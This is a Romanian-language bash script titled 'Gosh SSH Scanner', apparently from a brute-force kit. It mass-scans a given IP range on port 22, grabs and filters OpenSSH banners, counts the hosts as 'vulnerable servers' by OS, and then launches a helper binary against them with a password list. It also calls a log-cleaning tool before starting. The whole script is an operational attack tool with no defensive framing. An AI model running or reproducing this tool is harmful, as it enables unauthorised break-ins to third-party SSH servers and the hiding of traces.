#threads 10000
#port 22
port=22
#!/bin/bash

##################Setari#################

viteza=10
threads=25000
banthread=350
interfata=eth0
##################Setari#################

##################Culori#################
red=`tput setaf 1`
green=`tput setaf 2`
reset=`tput sgr0`
##################Culori#################

rm -rf i  banner.log ips
./cleanlogs
clear
echo "${green}~~~~~~~~~~~~~~~~~~[${red}Gosh SSH Scanner${reset}${green}]~~~~~~~~~~~~~~~~~~${reset}"
echo -e "\e[93m[*]\e[0m Scanam clasa \e[92m[$1]\e[0m ..."
sleep 3
./ps $port -a $1 -i $interfata -s $viteza
sleep 3
pkill -f ps

total_ip=$(cat bios.txt|wc -l)
echo -e "\e[93m[*]\e[0m Total IPs: \e[93m[$total_ip]\e[0m"

echo -e "\e[93m[*]\e[0m Incepem in 5 secunde.."
sleep 5
echo -e "\e[93m[*]\e[0m Incepem .. \e[92m[Banner Grabber]\e[0m"
./banner bios.txt $port $banthread > /dev/null
echo -e "${red}☣ ${reset}Asteptam 3 secunde.."
sleep 3
rm -rf  bios.txt
echo -e "\e[93m[*]\e[0m Asteptam 5 secunde.."

pkill -f banner


#!/bin/bash

progreSh() {
    LR='\033[1;31m'
    LG='\033[1;32m'
    LY='\033[1;33m'
    LC='\033[1;36m'
    LW='\033[1;37m'
    NC='\033[0m'
    if [ "${1}" = "0" ]; then TME=$(date +"%s"); fi
    SEC=`printf "%04d\n" $(($(date +"%s")-${TME}))`; SEC="$SEC sec"
    PRC=`printf "%.0f" ${1}`
    SHW=`printf "%3d\n" ${PRC}`
    LNE=`printf "%.0f" $((${PRC}/2))`
    LRR=`printf "%.0f" $((${PRC}/2-12))`; if [ ${LRR} -le 0 ]; then LRR=0; fi;
    LYY=`printf "%.0f" $((${PRC}/2-24))`; if [ ${LYY} -le 0 ]; then LYY=0; fi;
    LCC=`printf "%.0f" $((${PRC}/2-36))`; if [ ${LCC} -le 0 ]; then LCC=0; fi;
    LGG=`printf "%.0f" $((${PRC}/2-48))`; if [ ${LGG} -le 0 ]; then LGG=0; fi;
    LRR_=""
    LYY_=""
    LCC_=""
    LGG_=""
    for ((i=1;i<=13;i++))
    do
        DOTS=""; for ((ii=${i};ii<13;ii++)); do DOTS="${DOTS}."; done
        if [ ${i} -le ${LNE} ]; then LRR_="${LRR_}#"; else LRR_="${LRR_}."; fi
        echo -ne "  ${LW}${SEC}  ${LR}${LRR_}${DOTS}${LY}............${LC}............${LG}............ ${SHW}%${NC}\r"
        if [ ${LNE} -ge 1 ]; then sleep 0.07; fi
    done
    for ((i=14;i<=25;i++))
    do
        DOTS=""; for ((ii=${i};ii<25;ii++)); do DOTS="${DOTS}."; done
        if [ ${i} -le ${LNE} ]; then LYY_="${LYY_}#"; else LYY_="${LYY_}."; fi
        echo -ne "  ${LW}${SEC}  ${LR}${LRR_}${LY}${LYY_}${DOTS}${LC}............${LG}............ ${SHW}%${NC}\r"
        if [ ${LNE} -ge 14 ]; then sleep 0.07; fi
    done
    for ((i=26;i<=37;i++))
    do
        DOTS=""; for ((ii=${i};ii<37;ii++)); do DOTS="${DOTS}."; done
        if [ ${i} -le ${LNE} ]; then LCC_="${LCC_}#"; else LCC_="${LCC_}."; fi
        echo -ne "  ${LW}${SEC}  ${LR}${LRR_}${LY}${LYY_}${LC}${LCC_}${DOTS}${LG}............ ${SHW}%${NC}\r"
        if [ ${LNE} -ge 26 ]; then sleep 0.07; fi
    done
    for ((i=38;i<=49;i++))
    do
        DOTS=""; for ((ii=${i};ii<49;ii++)); do DOTS="${DOTS}."; done
        if [ ${i} -le ${LNE} ]; then LGG_="${LGG_}#"; else LGG_="${LGG_}."; fi
        echo -ne "  ${LW}${SEC}  ${LR}${LRR_}${LY}${LYY_}${LC}${LCC_}${LG}${LGG_}${DOTS} ${SHW}%${NC}\r"
        if [ ${LNE} -ge 38 ]; then sleep 0.07; fi
    done
}

printf "\n"
progreSh 0
progreSh 100
printf "\n"

echo -e "\e[93m[*]\e[0m Banner grabberul a terminat"
echo -e "\e[93m[*]\e[0m"

cat banner.log | grep SSH-2.0-OpenSSH|cut -d ":" -f 1 > iu
rm -rf banner.log
mv iu banner.log

rm -rf bios.txt
sleep 10

vulns=$(cat banner.log |wc -l) > /dev/null
ubuntu=$(cat banner.log |grep Ubuntu |wc -l) > /dev/null
debian=$(cat banner.log |grep Debian |wc -l) > /dev/null
freebsd=$(cat banner.log |grep FreeBSD |wc -l) > /dev/null
altele=$(cat banner.log |grep -v FreeBSD |grep -v Debian |grep -v Ubuntu |wc -l) > /dev/null
total_pass=$(cat p|wc -l)
echo -e "\e[93m[*]\e[0m            Am gasit \e[92m[$vulns]\e[0m servere vulnerabile"
echo -e "\e[93m[*]\e[0m            Ubuntu: \e[93m[$ubuntu]\e[0m"
echo -e "\e[93m[*]\e[0m            Debian: \e[93m[$debian]\e[0m"
echo -e "\e[93m[*]\e[0m            FreeBSD: \e[93m[$freebsd]\e[0m"
echo -e "\e[93m[*]\e[0m            Altele: \e[93m[$altele]\e[0m"
cat banner.log |grep -v FreeBSD |grep -v Debian |grep -v Raspbian > ssh.log

rm -rf banner.log

sleep 5
rm -rf ips

total_pass=$(cat p|wc -l)
cat ssh.log | awk {'print $1'} >> ips
rm -rf ssh.log
bune=$(cat ips |wc -l) > /dev/null
echo -e "\e[93m[*]\e[0m Incepem Treaba pe \e[92m[$bune]\e[0m servere vulnerabile"
sleep 3
echo -e "\e[93m[*]\e[0m Cu \e[93m[$total_pass]\e[0m de parole"
echo -e "\e[93m[*]\e[0m Bafta "
sleep 2



./x
pkill -f x
sleep 5
./clear
